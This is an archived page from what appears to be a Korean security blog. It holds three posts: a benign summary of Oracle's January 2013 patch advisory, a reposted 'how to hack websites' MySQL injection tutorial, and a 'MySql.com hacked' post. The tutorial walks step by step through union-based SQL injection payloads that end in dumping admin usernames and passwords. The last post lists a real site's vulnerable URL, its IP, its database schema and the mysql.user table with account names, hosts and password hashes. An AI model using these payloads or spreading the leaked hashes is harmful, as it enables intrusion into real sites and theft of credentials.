2013. 1. 17. 19:02

2013년 1월 Oracle Critical Patch Update

2013. 1. 17. 19:02 in 서버구축 (WEB,DB)

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개요

Oracle Critical Patch Update(CPU)는 Oracle사의 제품을 대상으로 다수의 보안 패치를 발표하는 주요 수단임 [1]
Oracle CPU 발표 이후, 관련 공격코드의 출현으로 인한 피해가 예상되는 바 Oracle 제품의 다중 취약점에 대한 패치를 권고함

설명

2013년 1월 Oracle CPU에서는 Oracle 자사 제품의 보안취약점 86개에 대한 패치를 발표함

영향받는 시스템

Oracle Database 11g Release 2, versions 11.2.0.2, 11.2.0.3
Oracle Database 11g Release 1, version 11.1.0.7
Oracle Database 10g Release 2, versions 10.2.0.3, 10.2.0.4, 10.2.0.5
Oracle Database Mobile Server, version 11.1.0.0
Oracle Database Lite Server, version 10.3.0.3
Oracle Access Manager/Webgate, versions 10.1.4.3.0, 11.1.1.5.0, 11.1.2.0.0
Oracle GoldenGate Veridata, version 3.0.0.11.0
Management Pack for Oracle GoldenGate, version 11.1.1.1.0
Oracle Outside In Technology, version 8.3.7, 8.4
Oracle WebLogic Server, versions 9.2.4, 10.0.2, 10.3.5, 10.3.6, 12.1.1
Application Performance Management versions 6.5, 11.1, 12.1.0.2
Enterprise Manager Grid Control 11g Release 1, version 11.1.0.1
Enterprise Manager Grid Control 10g Release 1, version 10.2.0.5
Enterprise Manager Plugin for Database 12c Release 1, versions 12.1.0.1, 12.1.0.2
Oracle E-Business Suite Release 12, versions 12.0.6, 12.1.1, 12.1.2, 12.1.3
Oracle E-Business Suite Release 11i, version 11.5.10.2
Oracle Agile PLM Framework, version 9.3.1.1
Oracle PeopleSoft HRMS, versions 9.0, 9.1
Oracle PeopleSoft PeopleTools, versions 8.51, 8.52
Oracle JD Edwards EnterpriseOne Tools, versions 8.9, 9.1, SP24
Oracle Siebel CRM, versions 8.1.1, 8.2.2
Oracle Sun Product Suite
Oracle VM Virtual Box, versions 4.0, 4.1, 4.2
Oracle MySQL Server, versions 5.1.66 and earlier, 5.5.28 and earlier
※ 영향받는 시스템의 상세 정보는 참고사이트[1]를 참조

해결방안

해결방안으로서 "Oracle Critical Patch Update Advisory - January 2013" 문서를 검토하고 벤더사 및 유지보수업체와 협의/검토 후 패치적용 요망[1]
각 사이트의 사정으로 패치적용이 지연될 경우,
- 영향을 받는 서비스에 대해서는 신뢰된 호스트 및 네트워크들만 액세스할 수 있도록 제한
- 데이터베이스 접근 통제를 구현하여 사용자에게 허가되는 권한을 최소화함으로써, 공격으로 인해 발생될 영향을 제한
- 불필요한 계정을 삭제하고 디폴트 패스워드 변경
- 데이터베이스 보안제품 활용

[참고사이트]
[1] http://www.oracle.com/technetwork/topics/security/cpujan2013-1515902.html

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Posted by 날으는물고기

Database, hi.pe.kr, oracle, 공격코드, 물고기, 보안패치, 서버구축, 취약점

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2012. 6. 20. 19:57

MySQL Injection : Step By Step Tutorial

2012. 6. 20. 19:57 in 모의해킹 (WAPT)

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Learn How To Hack Websites , Mysql Injection Step by Step Tutorial

SQL Injection in MySQL Databases

SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in otherdatabases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step 1:

When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1

or
www.site.com/id=5

Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'
If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--
If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3

We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--

This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.

Step 4

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database

For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5

In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6
In this Step we want to list all the column names in the database, to do this we use the following command:

union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, fromtable "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website

출처 : http://www.devilscafe.in/

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Posted by 날으는물고기

attack, code injection, Database, exploit, hi.pe.kr, injection, mysql, SQL INJECTION, 모의해킹, 물고기

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2011. 9. 27. 16:55

MySql.Com Hacked with Blind SQL Injection by Jackh4xor

2011. 9. 27. 16:55 in 모의해킹 (WAPT)

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The Mysql website offers database software, services and support for your business, including the Enterprise server, the Network monitoring and advisory services and the production support. The wide range of products include: Mysql clusters, embedded database, drivers for JDBC, ODBC and Net, visual database tools (query browser, migration toolkit) and last but not least the MaxDB- the open source database certified for SAP/R3. The Mysql services are also made available for you. Choose among the Mysql training for database solutions, Mysql certification for the Developers and DBAs, Mysql consulting and support. It makes no difference if you are new in the database technology or a skilled developer of DBA, Mysql proposes services of all sorts for their customers.

Vulnerable Target	http://mysql.com/customers/view/index.html?id=1170
Host IP	213.136.52.29
Web Server	Apache/2.2.15 (Fedora)
Powered-by	PHP/5.2.13
Injection Type	MySQL Blind
Current DB	Web

Data Bases:

information_schema
bk
certification
c?ashme
cust_sync_interim
customer
dbasavings
downloads
feedback
glassfish_interface
intranet
kaj
license_customers
manual
manual_search
mem
mysql
mysqlforge
mysqlweb
news_events
partner_t?aining
partners
partners_bak
phorum5
planetmysql
qa_contribution
quickpoll
robin
rp
sampo
sampo_interface
sessions
softrax
softrax_interim
solutions
tco
test
track
track_refer
wb
web
web_control
web_projects
web_training
webwiki
wordpress
zack

Current DB: web

Tables:

xing_validation
v_web_submissions
userbk
user_extra

user Columns: cwpid version lead_quality sfid industry address2 created last_modified lang notify newsletter gid title fax cell phone country zipcode state city address business company position lastname firstname passwd verified bounces email user_id

us_zip_state
us_area_state
unsub_log
trials
trial_external_log
trial_data
trial_alias
training_redirect
tag_blacklist
tag_applied
tag
support_feeds_DROP
support_entries_DROP
states
snapshots_builds
snapshots
sakilapoints
regions
quote_customer
quote
quicklinks
promo
product_releases
position
partner
paper_lead
paper_details_options
paper_details_old
paper_details
paper
newsletter_unsub
nav_sites
nav_items
mysql_history
mirror_status
mirror_country
mirror_continent
mirror
mailing_list_member
mailing_list
locks
lead_validity_rules
lead_source_xref
lead_source_external
lead_source
lead_routing_rule
lead_rep
lead_old
lead_note
lead_extra_old
lead_extra_new
lead_extra
lead_companies
lead_campaign_member
lead
language_strings
language_modules
imagecache
hall_of_fame
g_search_term
g_search_data
g_blog_data
forum_comment
forms
field_xref
field_options
field_match
email_blacklist
email_a_friend
drpl_manual_review
drpl_denied
drpl_check_log
drpl_cache
customer_meta_sets
customer_meta_set
customer_meta
customer
coupon_product
coupon_campaign_attribute
coupon_campaign
coupon
country
countries
campaign_type
campaign_topic
campaign_score
campaign_listdata
campaign_detail
business
bounces

Database : mysql

Table:

user_info

user Column: Update_pri Insert_priv Select_priv Password User Host

time_zone_transition_type
time_zone_transition
time_zone_name
time_zone_leap_second
time_zone
tables_priv
slow_log
?ervers
procs_priv
proc
plugin
ndb_binlog_index
inventory
host
help_topic
help_relation
help_keyword
help_category
general_log
func
event
db
columns_priv

# mysql.user Data

Password                                                                     User            Host
wembaster    %
monitor         10.%
sys                %
sys               localhost
*06581D0A5474DFF4D5DA3CE0CD7702FA52601412    forumread    %
*0702AEBF8E92A002E95D40247776E1A67CD2CA3F    wb                %
*2A57F767D29295B3CB8D01C760D9939649483F85        flipper           10.%
*32F623705BFFFE682E7BD18D5357B38EF8A5BAA9    wordpress       %
*66A905D4110DF14B41D585FDBCE0666AD13DD8C1    nagios            %
*704EB56151317F27573BB4DDA98EDF00FFABAAF8    root              localhost
*ED1BDC19B08FD41017EE180169E5CEB2C77F941A    mysqlforge     %
*FD75B177FFEC3590FE5D7E8459B3DDC60AE8147B    webleads    10.%
00680dd718880337                                                        olof                %
077f61a849269b62                                                         qa_r               %
077f61a849269b62                                                         qa_rw             %
077f61a849269b62                                                         qa_adm          %
0c2f46ba6b87d4ea                                                         trials_admin    10.%
1856b9b03b5a6f47                                                         cacti               %
19519e95545509b5                                                        certification    %
1a39dcad63bbc7a6                                                        gf_mschiff        %
2277fd7d562ec459                                                         webslave        localhost
2277fd7d562ec459                                                         webslave          %
304404b114b5516c                                                        planetmysql_rw %
35e376451a87adb0                                                        planetmysql_ro %
4e203d581b756a93                                                        webmaster    localhost
4e203d581b756a93                                                        webmaster        %
4e93479179a8ec93                                                        sysadm             %
575ec47e16c7e20e                                                        phorum5            %
575ec47e16c7e20e                                                        lenz                  %
5f340ec40a706f64                                                          robin                 %
61113da02d2c97a5                                                        regdata              %
616075f256f111ba                                                          myadmin        10.100.6.44
61711eea3de509ac                                                        merlin             127.0.0.1
6302de0909a369a1                                                        ebraswell           %
6b72b2824cc7f6fe                                                          mysqlweb          %
6ffd2b17498cdd44                                                          zack                 %
70599cf351c6f591                                                          repl                   %
740284817e3ed5a8                                                        webwiki             %
74c5529b41a97cc2                                                        web_projects

Databsae: web_control

Table:

system
system_command
service_request
run_control
request_daemon
rebuild_server
rebuild_queue
rebuild_control
quarterly_lead_report
newsletter_log
newsletter_control
ips
hosts Columns:notes description name
dns_servers Columns: name internal ip

Database: certification

Tables:

signup
corpcustomers
certexamdata
certcandidatedata
certaccess

Database: wordpress

Tables:

wp_4_term_taxonom
wp_4_term_relationships
wp_4_posts
wp_4_postmeta
wp_4_options
wp_4_links
wp_4_comments
wp_3_terms
wp_3_term_taxonomy
wp_3_term_relationships
wp_3_posts
wp_3_postmeta
wp_3_options
wp_3_links
wp_3_comments
wp_2_terms
wp_2_term_taxonomy
wp_2_term_relationships
wp_2_posts
wp_2_postmeta
wp_2_options
wp_2_links
wp_2_comments
wp_1_terms
wp_1_term_taxonomy
wp_1_term_relationships
wp_1_posts
wp_1_postmeta
wp_1_options
wp_1_links
wp_1_comments
wp_11_terms
wp_11_term_taxonomy
wp_11_term_relationships
wp_11_posts
wp_11_postmeta
wp_11_options
wp_11_links
wp_11_comments
wp_10_terms
wp_10_term_taxonomy
wp_10_term_relationships
wp_10_posts
wp_10_postmeta
wp_10_options
wp_10_links
wp_10_comments
remove_queries